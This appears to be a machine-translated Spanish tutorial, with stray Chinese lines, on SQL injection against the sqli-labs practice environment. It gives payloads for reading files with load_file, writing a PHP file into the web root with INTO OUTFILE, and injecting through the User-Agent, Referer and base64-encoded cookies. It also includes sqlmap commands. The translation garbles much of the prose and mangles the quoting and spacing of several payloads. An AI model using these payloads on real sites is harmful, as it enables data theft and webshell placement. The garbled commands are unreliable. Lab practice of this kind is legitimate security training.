1, inyección MySQL leer y escribir archivos
base de datos MySQL durante el proceso de infiltración puede ser utilizado, o más funciones, además de la lectura de datos, el archivo se puede leer (si permisos suficientes)
premisa de lectura:
- 1. El derecho de usuario es lo suficientemente alta, tanto como sea posible con privilegios de root
- 2.secure_file_priv no nula
Necesidad de fijar artificialmente un valor predeterminado de secure_file_priv
Modificar el archivo de configuración de base de datos:
Después de guardar el archivo de reinicio Phpstudy2018, revalidación:
Leer los contenidos del archivo
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, load_file ( 'D: \ 1.txt'), 3 - +
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, load_file ( 'C: \ Users \ Administrator \ Desktop \ sqlmap \ sqlmapproject-sqlmap-3b7dd2c \ Target.txt'), 3 - +
MySQL archivo abierto de escritura
mostrar variables como '%% general' ; # defecto está desactivada
conjunto general_log mundial = on;
Sql comenzar a escribir el archivo:
http://127.0.0.1/sqli/Less-7/?id=-1 ')) union select 1,' <? php phpinfo (); ?>', 3 en archivo_salida 'C: \\ Usuarios \\ \\ administrador de escritorio \\ \\ sqlmap sqlmapproject-sqlmap-3b7dd2c \\ Target.txt' - +
Tenga en cuenta que la ruta del archivo debe duplicar intervalo de barra , en archivo_salida es el resultado de la consulta SQL anterior está de nuevo a la carpeta de ruta escrito.
"<? Php phpinfo ();>" http://127.0.0.1/sqli/Less-7/?id=-1' )) unión seleccionar 1,, 3 en archivosalida “G: \\ phpstudy2018 \\ PHPTutorial \\ \\ WWW sqli \\ Menos-7 \\ 1.php”- +
Sqlmap utilizar para leer y escribir archivos
pitón sqlmap.py -u “http://127.0.0.1/sqli/Less-7/?id=1” leer --file-“D: \\ 1.txt”
2, cabecera HTTP de inyección SQL
Introducción de inyección de cabecera HTTP
en el caso de la conciencia de seguridad cada vez más atención, una gran cantidad de sitios son vulnerabilidades que impidan. Tales como la inyección SQL, los parámetros son enviadas por los usuarios que ciertas medidas se filtran código.
Filtrar los parámetros directamente del usuario, pero el contenido presentado en el encabezado HTTP es probable que no habrá filtrado.
función updatexml
UPDATEXML (XML_document, XPath_string, nuevo_valor) ;
primer parámetro: formato de cadena XML_document es, como el nombre del objeto de documento XML, Doc el presente documento como
el segundo argumento: XPath_string (formato de cadena Xpath)
el tercer parámetro: nuevo_valor , el formato de cadena, en lugar de los datos que se encuentran calificados
- HTTP User-Agent 注入
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1
0x7e是转义字符~
versión de la información de salida
nombre de la base de datos de salida
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1' = '1
0x7e是转义字符~
Kali otra máquina virtual métodos de prueba y herramientas:
'1' o =' Caso cerrado 1 como sigue. :
# ' or '1'='1 报错信息
正常sql语句如下
select * from users where id = '1';
推导出闭合语句为:
select * from users where id = '1‘ or ’1‘=’1 '; 闭合成功
- inyección referer
' or if(1=1,sleep(5),null) or '1'='1
seguridad sqlmap pruebas
sqlmap automáticamente formulario de búsqueda después de la inyección
parámetros especificados sqlmap para detectar SQL inyección
árbitro sqlmap inyecta en el árbitro seguido por el * o *
2, la inyección de galletas
HTTP inyección descrito cabecera
servidor puede utilizar cookies para contener cualquiera de la pantalla de información y la información de mantenimiento regular para determinar el estado del transporte HTTP. Galletas aplicación más clásico es para determinar si el usuario ha iniciado sesión sitio.
la inyección de galletas
usando los códigos de parámetros de cookies transmitida, pero no el parámetro de cookies aprobó la operación de filtrado. Conducir a vulnerabilidades de inyección SQL.
carga inyectada
Cookie: uname = admin' o 1 = 1 - +
Cookie: uname = admin' y updatexml (1, concat (0x7E, version (), 0x7e), 1) - +
prueba de seguridad sqlmap
sqlmap -r Target.txt --level 3 --batch
inyección de la galleta Base64
Base64 describe
base64 codificación binaria para el carácter del proceso, que puede ser utilizado para transmitir información de identificación más largo en un entorno HTTP. base64 es uno de la red más común para la transmisión de 8 bits que codifica bytecode, base64 se basa en 64 caracteres imprimibles a la representación de datos binarios.
El contenido original se convierte a binario, de izquierda a derecha para tomar seis, y luego rellenar los dos más altos 0, para formar un nuevo contenido (puede ser de nuevo convertido)
Reglas de codificación
- 1. 3 caracteres 4 caracteres en
- 2. Cada 76 caracteres, además de una nueva línea
- 3. Por último, tenemos que abordar terminador
cookie de análisis de código Base64 inyectar
URL cifrado de base 64
Si el aviso comunicadas: date (): Set date.timezone en php.ini es una República Popular China, después engarzada a: date.timezone = PRC
using inyección de cifrado de base 64 se inserta en la posición correspondiente a completar la inyección de SQL Cookies detectar vulnerabilidades.
Después de modificar el reinicio salvado
de texto claro "o. 1. 1 = # (cifrada a continuación)
IiBvciAxPTEgIw ==
pruebas de seguridad sqlmap
pitón sqlmap.py -r Target.txt --level 3 --tamper base64encode.py